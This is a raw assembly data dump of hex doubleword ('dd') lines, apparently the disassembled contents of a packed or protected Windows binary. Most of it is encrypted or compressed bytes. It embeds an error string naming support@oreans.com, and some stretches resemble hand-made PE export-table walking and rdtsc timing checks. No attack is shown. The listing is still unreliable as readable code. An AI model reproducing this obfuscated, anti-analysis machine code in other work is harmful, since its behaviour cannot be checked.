dd 0C5906F09h, 7A12F3ADh, 0FA761375h, 0E9FF0097h, 1C4C7104h
dd 0E482206Bh, 75CC544h, 0E5895C75h, 9E4D64C0h, 0B54726E0h
dd 1ADE89C6h, 15E0A1C9h, 8223CA9Fh, 0C0947BCEh, 0B54EF68h
dd 339E4D71h, 10FA477h, 9021C6AAh, 0FFBB6210h, 0B93B22Bh
dd 0DD5B0E71h, 118FFA8Dh, 128B9F59h, 6E710B94h, 89437DFBh
dd 93E27BCFh, 8B5E710Bh, 90EF1D2Dh, 0FE6D6F0Eh, 0D3508CC7h
dd 0A4B951E6h, 10BDh, 0FE9213E6h, 63618A6Bh, 9DF3F89Eh
dd 0D436408h, 0BED2D7B8h, 0BC5D0934h, 2CCC5137h, 0A270C58Bh
dd 0FE64B19h, 0DFDBFAEEh, 895D24Bh, 0DD9E2E71h, 0EF0ED6Fh
dd 446D0F77h, 541C6700h, 1846A66Dh, 87CE89D8h, 422ED8F9h
dd 0CF902EB5h, 813FADBEh, 104E2AD1h, 0C819138h, 0AC920F75h
dd 0F5690509h, 7A0BA732h, 7A796F94h, 0ED567074h, 19B6F99h
dd 0F0880000h, 18C6187h, 0EF0AB29h, 403DA877h, 0CEA64701h
dd 7BD05329h, 0C6543954h, 6C941DF7h, 0CA51A41Ah, 83F0F56Eh
dd 0B32CFCB6h, 9770EF0h, 0F0D14A42h, 0B82F770Eh, 0E467502Dh
dd 0FB9888F0h, 64F396F6h, 1FB8904Ah, 9D770EF0h, 1F172CEh
dd 8D6B8C6Ch, 8074D3D0h, 23986D56h, 0B7E15670h, 0D2AE8205h
dd 67C8h, 3ADFAE00h, 36B2D7B1h, 9D83F0BDh, 8B68F7FCh, 0F0AB2901h
dd 9F6E770Eh, 91B9F1FAh, 770EF0F8h, 3A1B9144h, 0A07213AFh
dd 0CEC711Bh, 19E4E1EBh, 470120A3h, 2FAAC694h, 572D5C86h
dd 0BF442ADCh, 5BE55003h, 3D64FAC6h, 5E01CC47h, 0C189ED28h
dd 0A00EEA5Bh, 455AC3h, 621C0000h, 0EF04DC6h, 3FDCB377h
dd 0D2512FBAh, 0BD8D4701h, 770EF024h, 42DBCD98h, 0BE770EF0h
dd 95E24D2Bh, 0F0E760C8h, 8655770Eh, 0F0C740E8h, 0A635770Eh
dd 29015ADBh, 770EF0ABh, 1403DA8h, 0BF442A82h, 7472F1C6h
dd 986D5680h, 377Fh, 88F0F800h, 29018360h, 770EF0ABh, 41244209h
dd 0B74508ADh, 0B10F5A32h, 2A820132h, 0F1C3A049h, 0AD0BE4B7h
dd 536B389Ch, 0CC9A3317h, 73E6770Eh, 2F5A7EF5h, 0D9000000h
dd 0F9AA88F0h, 5CF3BA48h, 176CF5Ah, 0EF0AB29h, 403DA877h
dd 492A8201h, 916706A0h, 1178C68h, 2ECFA647h, 0EF065FEh
dd 0B00CDB77h, 6C016906h, 0F2F7998Ah, 8460CF9Ah, 0FFFE7391h
dd 1B2FE9FFh, 770EF082h, 0F118B199h, 0F164770Eh, 0B3440BDEh
dd 0AD0B5E0Eh, 6785F036h, 73D7914Bh
dd 770EF0DAh, 1535B326h, 750CABB5h, 0E8A2DC8Bh, 0F14F7405h
dd 90F4F99Ch, 730FADD7h, 0B03EFD92h, 0BCC7D1D3h, 1EF69560h
dd 1E9ACF99h, 624FC860h, 3EAD7108h, 630F86AEh, 13017108h
dd 0BFD3E9CFh, 418C9366h, 2F000000h, 0EF0F26Fh, 4A6B0277h
dd 0F058F606h, 4530770Eh, 0AB36B75Fh, 10393B0Fh, 60F77512h
dd 0EEE1B26Ch, 0EE403AFh, 7BCFF287h, 0F83F7124h, 97197Ch
dd 0A7610000h, 0B110A83h, 51563A71h, 960DEB7Eh, 4B6785F0h
dd 120919FFh, 26401775h, 580CB547h, 957A27F5h, 917C6Ch
dd 0E9816CFBh, 0C8821B2Fh, 6BFE710Bh, 0BFCAFD8Dh, 65A18921h
dd 0D36F0983h, 0F99B6A04h, 6B099CF0h, 16610646h, 5E4ADE98h
dd 0D875074Fh, 0FD90750Dh, 6E0194F8h, 2E093649h, 20C8E0D0h
dd 0DC82Dh, 0E708EB00h, 7A7F1CE1h, 0C4ED8316h, 54593D80h
dd 27CCAD30h, 4614C3A1h, 0F14408B1h, 65C89C21h, 0EB7E1297h
dd 0D4EDE304h, 92DD76D2h, 91237108h, 71432AD2h, 0F0FA93B7h
dd 9346770Eh, 0EF020B9h, 62C99C77h, 62EBAC6Ah, 568D8371h
dd 583F522Eh, 0AE963557h, 0A84D207Ah, 11D97A24h, 8281702Bh
dd 0F0DA9728h, 89E3222Bh, 75FC0033h, 67FB996Ch, 0C1000000h
dd 0B75E4B2Ch, 0A4335636h, 48CBA124h, 4B6785F0h, 11FD89FFh
dd 4B288775h, 6FC2066Ch, 0FC4BDE60h, 56D8F9ECh, 924F5713h
dd 0F25F0994h, 648D621Bh, 0F69A6164h, 0FE938C63h, 6BF693F5h
dd 0BD3B4661h, 17945205h, 4FB164FDh, 0AD93B7F1h, 0EC6F0E7Fh
dd 0B9E1F82Bh, 0A4001DA7h, 71AF148Dh, 3A5F640Ah, 8E151EB2h
dd 492A99DAh, 0FC4C06A0h, 770EF063h, 0B75F32D9h, 43D6BA36h
dd 0B75F09B2h, 770EF113h, 0C0565321h, 8F38AC3Bh, 60C8E604h
dd 750CABC4h, 11CBE772h, 77119A7Ch, 1DF39612h, 9546F094h
dd 0E4F1ED90h, 0EA69C77Fh, 0ED567074h, 0FD6F99h, 0F0880000h
dd 18C6187h, 0EF0AB29h, 403DA877h, 547B8201h, 3FC05439h
dd 0C25538ADh, 423EAB3Dh, 6583F0C1h, 1E46788h, 0E437875Eh
dd 96D03B89h, 0E3119B2h, 74F06777h, 4825C3CBh, 80748102h
dd 23986D56h, 1CF2AB42h, 0AEAC0897h, 2Ch, 6583F0C9h, 0AB290188h
dd 9770EF0h, 8201E142h, 0DC6C442Ah, 770EF043h, 859C21F5h
dd 0F1EA4BD6h, 0BF44D6B7h, 165A42C1h, 0D9000000h, 886583F0h
dd 0F0AB2901h, 3DA8770Eh, 2A820140h, 0F1C6BF44h, 56807472h
dd 497F986Dh, 3D000000h, 4420C5A8h, 9888F0CFh, 46670BF4h
dd 69F44306h, 0E3470194h, 770EF06Ah, 0EBA503D6h, 0EF0C15Fh
dd 0E1B55877h, 63D98CDCh, 11E9742h, 0A0492A82h, 0D6B7F1C3h
dd 42DB6F45h, 0BE770EF0h, 590C5C2Bh, 165A60E3h, 0D9000000h
dd 836088F0h, 0F0AB2901h, 3DA8770Eh, 2A820140h, 0F1C3A049h
dd 0FEFA5A72h, 0F0D9FFFFh, 0FF4B6785h, 750CAB9Fh, 0D9ACCA91h
dd 94D3B136h, 0F2ACCAEAh, 0A259CF21h, 5D62E7FBh, 21EF5C82h
dd 1E2E8A58h, 7108BD85h, 0D47C6CFBh, 7108BD3Dh, 0C4842DCFh
dd 77119679h, 0EC2E72CEh, 2D0B5FC5h, 93671B17h, 23D0h
dd 0F26F6300h, 29770EF0h, 315AD076h, 7C1C2843h, 7D10EC7Bh
dd 0C977159Ah, 3A525724h, 0BFCCD1AFh, 77000000h, 6FAD85F0h
dd 58990A3Fh, 0C3FCA81Ah, 4ACCE3BEh, 5022C3FFh, 0B793CDABh
dd 7511DA89h, 0A74660F7h, 0B12AFED6h, 0F710B79h, 3977CD58h
dd 853DC654h, 79E67FCBh, 8F5A710Bh, 2AC85D31h, 0DEDFB352h
dd 58F1DB8Eh, 0A4710B79h, 8522AA31h, 8C2FCFAh, 0B014D157h
dd 6FC5456Eh, 8EC075Fh, 0D492796Fh, 0A5E6331h, 2AE6D5A7h
dd 998047D1h, 7B0C5C2Bh, 74D49210h, 75074268h, 866703D6h
dd 379ACEEFh, 1245F60h, 0C4E0D039h, 0AAB2924h, 25F40000h
dd 9C79CC80h, 0AEC7117h, 761EE3E1h, 0E98E1371h, 0F7268CC0h
dd 0A725CEA3h, 2BB93ED2h, 590FB446h, 0C89C21F4h, 0C059F1A9h
dd 3C71088Fh, 432AEF8Ch, 0B0472AA2h, 56CE5D0Fh, 0F8A54802h
dd 70E94117h, 0CC770EF0h, 54F4B219h, 770EF0BBh, 99CF5A01h
dd 6D4E526Ah, 5C0D99h, 0F0AE0000h, 914B6785h, 0EF020B9h
dd 7A00E277h, 784B7F61h, 50C96159h, 0AC770E3Eh, 98D65239h
dd 115A02B0h, 0E3E57075h, 1276771Eh, 50DE88Fh, 9F7764C1h
dd 0CAFDEF7Ah, 0D68921BFh, 38BB5C2Eh, 5B15930Fh, 0E25C1CFh
dd 0C0503F6Fh, 0AD38AD3Fh, 19A27015h, 0A3771A4Fh, 0A11F4A02h
dd 492A96CDh, 0F03ED773h, 0D782770Eh, 0E09A0448h, 0EF0CF48h
dd 0C2BE2D77h, 0EF068EAh, 0C3E88A77h, 1997E28Dh, 0D98CBE61h
dd 0F86BF7EDh, 47E6427Ch, 0F9750BD9h, 0DFB15412h, 0D8A74C22h
dd 997B0AB4h, 11F9410h, 1EF24F5Eh, 7015777Ch, 0B202392Fh
dd 5CF70D36h, 31F099ECh, 3000001h, 496187F0h, 0F022BB8Fh
dd 51F9770Eh, 770EF0B8h, 0EB7E5104h, 2901960Dh, 770EF0ABh
dd 1403DA8h, 0FC547B82h, 4D6583F0h, 1C2F978Ah, 0D0ACB03Dh
dd 7E216753h, 5C11A2F0h, 84687FB0h, 807C6963h, 896C0103h
dd 0F0FA93B7h, 9346770Eh, 45DE6A04h, 0BB770EF0h, 9FE7502Ch
dd 5E01A419h, 0B83EBC5Dh, 0D89513E8h, 568074DBh, 357F986Dh
dd 0F8000000h, 886583F0h, 0F0AB2901h, 4209770Eh, 0A64701E1h
dd 24A12BD0h, 442ACB48h, 0B7F1C6BFh, 0F0B42DFDh, 5D08770Eh
dd 0E543680Eh, 285A6Eh, 491C0000h, 2DA602A7h, 0FF9D83F0h
dd 0B2536FFAh, 0E75CD8E1h, 0F0AB2901h, 0C5A8770Eh, 8DD8B035h
dd 82014D26h, 0C6BF442Ah, 807472F1h, 7F986D56h, 32h, 6088F0F8h
dd 0AB290183h, 9770EF0h, 8201E142h, 6A0492Ah, 0F063FC4Ch
dd 0F8D9770Eh, 0D02DFBBCh, 308C1BDFh, 896C01B3h, 413E8864h
dd 205Ah, 88F0D900h, 29018360h, 770EF0ABh, 1403DA8h, 0A0492A82h
dd 886C01C3h, 6D606567h, 3F89678Ch, 275E0140h, 1DEA8412h
dd 0B8263BB1h, 5DFFFFFEh, 4B6785F0h, 0F020B991h, 39C770Eh
dd 182C8BC5h, 68C453A5h, 15BA1A2Eh, 21B4750Ch, 0EC11E489h
dd 27C5CFF8h, 0ED12FA8Bh, 74ED3DFBh, 0C8710815h, 7C3AB61Dh
dd 81533ACh, 8AC28971h, 815EB62h, 0ABFF2571h, 0D715E7B8h
dd 1B17D894h, 0BE14C75h, 66652438h, 202393h, 6F5C0000h
dd 770EF0F2h, 64A6B02h, 0D14ADE98h, 63770EF0h, 5B366992h
dd 0CAA60DB6h, 0D1D7h, 85F06E00h, 0F0FB94B4h, 9A41770Eh
dd 192730Fh, 0EE3F90F8h, 8D098FB1h, 8F9BD7A2h, 770E7316h
dd 4701FF6Ah, 116E71E3h, 7517C875h, 3D34D4C6h, 6DF8D957h
dd 0D9E2B055h, 0AF54268Bh, 32FF8A3Dh, 0BC07D16h, 0CECC371h
dd 19E4E1EBh, 0F054F4B2h, 4E6F097Bh, 75191C51h, 0C0AF5F04h
dd 0C35CECA6h, 3977092Ch, 0F598D652h, 7BCE8227h, 4F781099h
dd 2008A644h, 7506F034h, 0AA3B77E2h, 0EA21E8C3h, 0DF56CF5Bh
dd 3FAA710Bh, 0BDB70A9Ah, 6104B2D6h, 0FF926E93h, 77DC9718h
dd 8AE0D068h, 74F6FE2h, 81100000h, 0F885687Ch, 66089DF3h
dd 0D2BA0F5Dh, 452ABF2Dh, 9B5A28BCh, 0C3812ACFh, 77159A7Eh
dd 0E5EB10E2h, 14787D10h, 64FD4D4Dh, 0D871088Bh, 432A4B28h
dd 0B0472AA2h, 1FF05D0Fh, 8A6FF29Ah, 538F6761h, 3EE68F0Fh
dd 38BD50EAh, 52859F54h, 3442996Dh, 0FD000000h, 94B485F0h
dd 770EF0FBh, 730F9A41h, 120809D7h, 0A820B775h, 0BC90380h
dd 0CF130171h, 8328C99Ch, 27C99CC9h, 219FCA82h, 6A2A0A12h
dd 62C593h, 0F0760000h, 884B6785h, 0BDDE0E4Dh, 1E58D411h
dd 1103A00Ah, 0E326F975h, 18B19927h, 64710BD3h
dd 0F968A0F1h, 90BBEC3h, 0C419FD68h, 0E4824968h, 289C5933h
dd 76F46093h, 31EA9F35h, 2EBE3A81h, 6F0BAC43h, 93F5FA9Eh
dd 0E58C0525h, 65F0710Bh, 0FB4E229Eh, 0CEF99314h, 0BD8D25C3h
dd 6F0EE12Bh, 6D167AE1h, 0EB961CEEh, 11E2B5CDh, 54329205h
dd 89A1DF55h, 7511BAD3h, 5DEF8A51h, 0B1594725h, 0FB9C820Dh
dd 0C68C0525h, 65F0B099h, 0D377339Eh, 0AE9CD35Dh, 0DA5C0CDBh
dd 257D3C39h, 0C8A43A03h, 0D896147Fh, 9BF83870h, 97D386B4h
dd 0CA9E1FF6h, 546F9067h, 20A617C5h, 0AED6008h, 55000006h
dd 0DEA321C6h, 4DD0B43Dh, 0FF4206ABh, 6FF29617h, 8163618Ah
dd 4A6F0056h, 0DEDFB306h, 0AC55278Ah, 3DC25538h, 0B89016AFh
dd 71088A1Fh, 2A08EB9Dh, 472AA243h, 2B4408B1h, 4244260h
dd 750CABC0h, 0DCA12BBEh, 79FEB13Ah, 0B8E0D543h, 5B73DD0h
dd 19F80000h, 906DF094h, 0FE90656Bh, 6A0297F5h, 0DDB20745h
dd 332B0D4h, 0AB39C257h, 0DF8D32C6h, 4D03A84Ah, 0FC9015F8h
dd 0CC45E5A5h, 3071088Ah, 85F0E380h, 0FCBDBDADh, 6BF68BDBh
dd 29A3FB4Fh, 0CE9D750Ch, 545D339Eh, 0D5C1161Dh, 0CE03EBE0h
dd 565h, 64A6B0Eh, 8BD9E2B3h, 25AB5026h, 553BBC50h, 0C68A2FC0h
dd 14E5B16Ch, 8414F9EFh, 0FA986D63h, 670E93F1h, 37730246h
dd 8897A13h, 0B536C671h, 9F886C01h, 9369F4FDh, 1F5B5924h
dd 4800A94Eh, 2FE9A71Dh, 0F03CD575h, 0D580770Eh, 0AC134F5Fh
dd 0FE6D750Ch, 446D03EEh, 0D543582Dh, 0F46901E0h, 501h
dd 0BA2ECFA2h, 2FBD46D7h, 590FB45Ah, 0C99F20F4h, 7A6E9364h
dd 78194D88h, 0E8881D73h, 5E3C81C7h, 0CBA23755h, 9B1FA62Ah
dd 88A168Fh, 19DA6A71h, 2AA2432Ah, 5D0FB047h, 723458D4h
dd 0A25C1A9Bh, 0EF10D86h, 791C7377h, 79D1E974h, 770EF0E0h
dd 5F33895Ch, 0CA8223CAh, 0D7DCB94Ch, 830F2E82h, 9E7CDC4h
dd 0E29A321h, 287CA077h, 20C5A83Dh, 22473DA8h, 8926AA4Bh
dd 62C6E0FEh, 750BE4AEh, 20C5FD68h, 5124A84Dh, 18AF39BEh
dd 0DCE5B76Dh, 3472D98Ch, 6217514h, 38D9AC6Fh, 0B403A44Bh
dd 0D2867BD4h, 60114BEFh, 53061F95h, 199E7617h, 11451A4Fh
dd 672790C1h, 0D5B8F672h, 6005BD42h, 0F36CBC90h, 49770E18h
dd 0D5B93782h, 0F1F69A6Bh, 90092197h, 0EC770E18h, 73169279h
dd 36711B9Ch, 3515AD4Bh, 75111607h, 34CFE675h, 0A9E0D0D5h
dd 40B0CC1h, 0C5540000h, 3CD9AC20h, 0AA4CD1B7h, 16FE4301h
dd 896EF391h, 57866C60h, 7456E03h, 8BD9DEB2h, 39AF5426h
dd 0A83CC154h, 20B99109h, 9C710888h, 6C010FECh, 6366668Bh
dd 0E80DE085h, 9AC20DCEh, 0F4827F2Fh, 0C7A61078h, 5336B233h
dd 1A553BBCh, 1139716Fh, 7511873Bh, 0D27A12F9h, 710B8735h
dd 0C05637F3h, 23C4543Bh, 4B2D7145h, 9369E531h, 0FAFB9372h
dd 6379F792h, 30h, 6ECB8659h, 0CD306658h, 8306E2ACh, 72CEB6ADh
dd 6785F0F1h, 0FF4DFF4Bh, 14C37511h, 0DF2FAC74h, 47FD710Bh
dd 40FF0513h, 0E9F8936Ah, 7B000000h, 4A2432Ah, 0E64A8F53h
dd 413F99B4h, 0D0B56F29h, 0F66FB942h, 4A770E6Dh, 8227C89Fh
dd 5AE4326h, 9617FE43h, 0C65207D8h, 266985D3h, 0B85F224Ah
dd 34E75137h, 4CDCF3ACh, 770E22D3h, 0E91DA229h, 0BFE24802h
dd 0DC719FC3h, 77D3FB71h, 8D770E0Ah, 3287C5EAh, 75325A5Bh
dd 33D2EC0Ah, 54315B5Ch, 7C8A9ED8h, 0FA751120h, 94998A5h
dd 45D0C297h, 4BDF9907h, 710B37D2h, 47D4BB2Eh, 0E79C6A2h
dd 376EE743h, 7D2710Bh, 16ECFD72h, 6ED6DCAh, 52CBC068h
dd 82496F09h, 4B7001E4h, 0DADFB005h, 0D5F0F69Bh, 6EE38BE6h
dd 2B5h, 0F69A1BFEh, 7B699263h, 95FB0096h, 54B6C00h, 0B6DADFB0h
dd 0C455013Ch, 34C4A93Fh, 0AA48DDB3h, 17FE4301h, 0E7A3F296h
dd 887CA43h, 0E5863671h, 28BC452Ah, 28F5B245h, 23503483h
dd 4B6785F0h, 9A1FFC91h, 0FF7C0E1Eh, 67F27511h, 0D5D2BA4Bh
dd 0B82DBF44h, 0EF37572Dh, 710BDF72h, 81CBF082h, 325A5F3Ch
dd 5A5F3057h, 5286BA32h, 3F63D1E0h, 6A412339h, 0D6DC93h
dd 0E09A0000h, 4444690Dh, 710BD3CBh, 55CEAA31h, 944D5E01h
dd 2CB4852Eh, 0BAD2D7B9h, 593C512Fh, 0A44B1A54h, 53C5A503h
dd 0B0D8E1B2h, 650A5FD5h, 0A8E40C5Ch, 0DA770E65h, 4BDEB233h
dd 0B46703A4h, 9A1FF276h, 8025C9FCh, 982FBF35h, 97B3CFEDh
dd 7511F869h, 234C00D7h, 0AE749058h, 248383D5h, 432ED3A1h
dd 0F4986D27h, 70CC99F3h, 9132258h, 7D35A06Fh, 7FD06E8h
dd 0E4D3A449h, 57C99858h, 1BFD90D5h, 493F696h, 971CFD40h
dd 0D52609DCh, 213CCCE6h, 1A5h, 0C68A2BCEh, 4B19A273h
dd 0E5EB10E6h, 157B7C10h, 86CAEF80h, 0D4A5F12Ch, 44D4B92Fh
dd 0BA582DA3h, 27CE5331h, 0F7B3C286h, 886BA53h, 0F5760671h
dd 64896C01h, 0E68B6164h, 11E4E811h, 686B797Eh, 2AA2432Ah
dd 590FB047h, 41660EDFh, 0D2D3BA07h, 0E4402FBAh, 0F4B2305Bh
dd 12088654h, 9A13475h, 7B6D9664h, 52FA926Eh, 710BC8B5h
dd 9F99CD73h, 936A2685h, 5D42h, 4701FD00h, 0EF06AE3h, 0A503D677h
dd 39716F1Ah, 12100F11h, 0B36D2D75h, 0BCFFE97h, 0B5974271h
dd 710BD01Ch, 7E6EF560h, 0BCF39D6h, 8029CB71h, 6E9365C8h
dd 5579B77Eh, 3266DAE5h, 6A311E26h, 9ED28593h, 5B58F38Eh
dd 96BA55A9h, 770C7AC1h, 0AD33D6D2h, 0C5A30E51h, 1FD7h
dd 0F16F6000h, 28770EF0h, 0B8176977h, 95132748h, 29415F2Ah
dd 12025F01h, 24F6DD75h, 275C309Fh, 4B6785F0h, 9718FC91h
dd 0FB033119h, 0EA717511h, 0D2BD5AE2h, 0D54B710Bh, 308D9781h
dd 1D4A936Ah, 0F5000000h, 0EF0F26Fh, 0F7ADD877h, 74329922h
dd 121E12D4h, 0AF3DA875h, 757E1CF1h, 79FA7613h, 4B6785F0h
dd 0CAC03FFh, 3EAE3D75h, 7F3BBC53h, 4E009EEh, 0F5FA9D60h
dd 220F4B93h, 230180C8h, 2FD0A7FFh, 886EFFB9h, 9CCCF59Bh
dd 7F6A62C9h, 0E409EC81h, 0A37519E4h, 4D220E87h, 7E2D7260h
dd 0D03E3B75h, 0C06806EDh, 604DA547h, 1F5B26B5h, 4305AA4Eh
dd 379E4ECCh, 0C0AFBC04h, 655F0464h, 11967931h, 0E607EE73h
dd 36BE6h, 38A0000h, 0A6472A80h, 33B45B26h, 9D26F459h
dd 6D9266CBh, 0F801967Bh, 476C0D90h, 0D3D4B805h, 0B942D4B9h
dd 8B1422Fh, 2D680B40h, 89000008h, 89572434h, 4C781E7h
dd 83000000h, 3C8704EFh, 1C895C24h, 0F366824h, 14890000h
dd 0B8505124h, 0D7C7253h, 0C158C189h, 0E9C108E9h, 46F18107h
dd 89060654h, 0EC8359CBh, 24248904h, 4240481h, 5A000000h
dd 0FE268h, 241C8900h, 0FF08428Fh, 815A2434h, 4C4h, 241C8B00h
dd 81E18951h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFD103Dh
dd 734CC29Fh, 0AEB8D8C2h, 306066Ch, 7BE0FFC5h, 0DA147E1Dh
dd 0A761E310h, 7C6C8E20h, 0D37113B2h, 0D742E7FEh, 0AA398E05h
dd 6E22FDF4h, 0CA4E3D99h, 0D21FA609h, 83306D85h, 726B8CECh
dd 8737E190h, 0B00069C8h, 0A7436BDEh, 925CB0EEh, 0D73D4D5Ch
dd 33720B78h, 0E9268B6Dh, 83h, 56525153h, 245C8B57h, 3B81661Ch
dd 850F5A4Dh, 68h, 3C43B70Fh, 8166D803h, 0F45503Bh, 5785h
dd 785B8B00h, 1C245C03h, 324738Bh, 561C2474h, 8B207B8Bh
dd 7C031C73h, 74032024h, 83FC2024h, 8B41FFC9h, 8B1C245Ch
dd 24540317h, 4C78320h, 0C084028Ah, 33A0874h
dd 4243E875h, 33AF2EBh, 0D15FE075h, 4B70FE1h, 86048B0Fh
dd 1C244403h, 595A5E5Fh, 8C25Bh, 0F1E9C033h, 8BFFFFFFh
dd 0AE8CAh, 4C330000h, 122ECA72h, 0DE15BC69h, 5BA7D080h
dd 4860Fh, 0B8660000h, 0C3810805h, 69B0h, 0EFCEE881h, 45BA2388h
dd 0E900001Ah, 0Eh, 0AAFE82CEh, 510386DFh, 6526F33Ah, 33FFD34Fh
dd 13E8h, 381C0B00h, 0CB8FDE35h, 9721BBA5h, 0C870B353h
dd 5374B201h, 0F5F59FCh, 48Eh, 32B15100h, 32C78158h, 810FC048h
dd 757D8EFh, 2D72B836h, 0F78104A6h, 6AAAF839h, 8E9h, 0B97F8600h
dd 0CB2EB586h, 8166570Ah, 8FA074D1h, 0EB83F503h, 1EA8304h
dd 0FFA0850Fh, 8A53FFFFh, 6E85EE7h, 7F000000h, 0C25946AAh
dd 0C9816636h, 0B35ADFEAh, 79C281EBh, 0E8000061h, 8, 5579A4CEh
dd 9A7ED92h, 53BF5EF5h, 815AF8E6h, 0F8CE32EFh, 18D0F5Ah
dd 0FC000000h, 0DE9028Bh, 28000000h, 0FFF1C0ABh, 8B0F35CBh
dd 9263FBCh, 909E881h, 0F0816EEEh, 32C46CD8h, 9FC98153h
dd 59123F92h, 17D6F081h, 50F90230h, 1AEB8166h, 0E9028F54h
dd 14h, 3941B6AFh, 0E4FEB4F7h, 73E80600h, 4C62301Eh, 871A7913h
dd 6792EA81h, 0E681063Fh, 41280E9Dh, 678EC281h, 8F0F063Fh
dd 0Eh, 9E9h, 6D2E3F00h, 0E152FE7Ah, 0F4FF343h, 2C85h
dd 13E800h, 0AA0F0000h, 112F4736h, 2D6759A5h, 608AE520h
dd 0DA15E043h, 0CE8B66B1h, 26E95Eh, 0E7330000h, 0AB373C84h
dd 0B6E1EFB1h, 34F0BBD3h, 4DE96A99h, 51FFFFFFh, 0FAFE52BDh
dd 27B65D50h, 3FE52F9Bh, 43542769h, 400E9h, 0
dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h
dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h
dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h
dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h
dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0)
dd 5600h, 4500h, 0
dd 1191E900h, 0B5890000h, 6030039h, 175858Bh, 6A0603h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 669244C3h, 9A4ECE8Dh, 39FC8B65h, 0F042444h, 3285h, 0E1952900h
dd 8306030Ch, 32831BDh, 840F0006h, 1Fh, 5E9h, 771DB200h
dd 858D486Bh, 60338A7h, 236D9D89h, 0BD310603h, 6032DF5h
dd 8BF5E0FFh, 32D1185h, 0FE906h, 500A0000h, 3866570Dh
dd 86FD1ACFh, 0CE0EB331h, 24443989h, 23850F04h, 60000000h
dd 61C2B70Fh, 73AD85C7h, 10606h, 31600000h, 311F195h, 6890F06h
dd 8B000000h, 31F29B5h, 0E9606106h, 0Bh, 53200BF2h, 0A9B049EAh
dd 0E90C6B1Bh, 6, 0A3EFE31Bh, 2DE9274Ah, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 1C3BC355h, 257AFA48h, 9589A382h, 6031F11h, 0
dd 1B8h, 0B4858700h, 0B060674h, 0FFF675C0h, 32F39B5h, 0A5858F06h
dd 6A060673h, 0FFFF6A20h, 30F8595h, 9DBD8306h, 60305h
dd 6A0874h, 1FB995FFh, 0BD830603h, 6032E85h, 680D7401h
dd 80h, 95FFFF6Ah, 6030F85h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 2C35141h, 6810FF9h, 29000000h
dd 301719Dh, 0B806h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1A0424h, 55450000h, 7A79B3C3h, 0C40D1722h
dd 148B0Fh, 0F9600000h, 0BE8h, 0E3E68200h, 396AD008h, 0FB8D954Ah
dd 548B615Fh, 6A2824h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 731603C3h, 6E90Ch, 1AD30000h, 0B1C71A39h
dd 12AD8589h, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 0D912BEC3h, 0C7A74BE0h, 6E9B4h
dd 0AF2E0000h, 3AB6E6AFh, 25119D01h, 3CBE0603h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 0D063C355h, 47DEA3Fh, 0E9593D60h, 7, 0E341C0DBh
dd 365698Dh, 6A242474h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 6756C357h, 89AD6680h
dd 311C985h, 24440306h, 890FFC24h, 6, 23099D29h, 60500603h
dd 0FE8h, 0B766AC00h, 581F22F2h, 0FF6DA5EDh, 5ADC017h
dd 60585950h, 0D7B3D1BAh, 9A44BA05h, 61616544h, 6A240489h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h
dd 42000000h, 8B1DC352h, 6A7840h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 0BF724BC3h, 0C21AE6Ah
dd 11E9F571h, 0C0000000h, 83C08D18h, 0AFB4B618h, 4BB1CF15h
dd 25EDD846h, 73ADBD83h, 0F000606h, 0B285h, 0E950F900h
dd 0Ah, 0A4430456h, 5CFA729Ch, 489DB61h, 0ADBD0924h, 8B060302h
dd 6A2C2444h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 51DC353h, 0BE6C8BDFh, 0E9DCBEF5h
dd 14h, 5BFF01BFh, 743141FEh, 427F89A8h, 0AF3E079Eh, 0D25539FFh
dd 228A0F50h, 50000000h, 11E952h, 0F8440000h, 6D35F156h
dd 81E1E08Fh, 127FD9DBh, 0F44D4D0h, 860F31h, 5A000000h
dd 24048958h, 12E9h, 4D007100h, 0CBBB17A0h, 328B05C1h
dd 37F00658h, 8D07207Fh, 63FCE85h, 5D958906h, 0FF060314h
dd 9B509D0h, 306031Ah, 29282444h, 326B18Dh, 18408B06h
dd 11119D29h, 6A400603h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 382CC352h, 7A110AA5h
dd 1FC8F8Ah, 32AE9BDh, 0A9858906h, 6A060673h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 3579C353h, 23CB8DE5h, 10E9D0h, 90C90000h, 665E581Ah
dd 809CF281h, 4C526BD1h, 6A586EE3h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 666CC351h
dd 0D7A7DBF7h, 11E9h, 39F7A400h, 0F2DD9Dh, 0ABEAC504h
dd 44AAB53Ah, 890F9DBEh, 6, 2C79B529h, 708B0603h, 0C683F878h
dd 53006A1Ch, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 8531F5D3h, 6030689h, 50006A96h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 0D761808Ch
dd 0DE938h, 8C770000h, 2B8DC5B9h, 0CB65DAE1h, 0F5535FBBh
dd 24247C81h, 10000000h, 12B870Fh, 0FFC0000h, 685h, 0F1958900h
dd 90060321h, 8880Fh, 8C0F0000h, 2, 50506160h, 52506052h
dd 585A310Fh, 310F5250h, 0F61585Ah, 0DE931h, 0D1560000h
dd 44AC80E1h, 0A1DAA5C8h, 5A3CFA52h, 6A9058h, 3E853h, 5B200000h
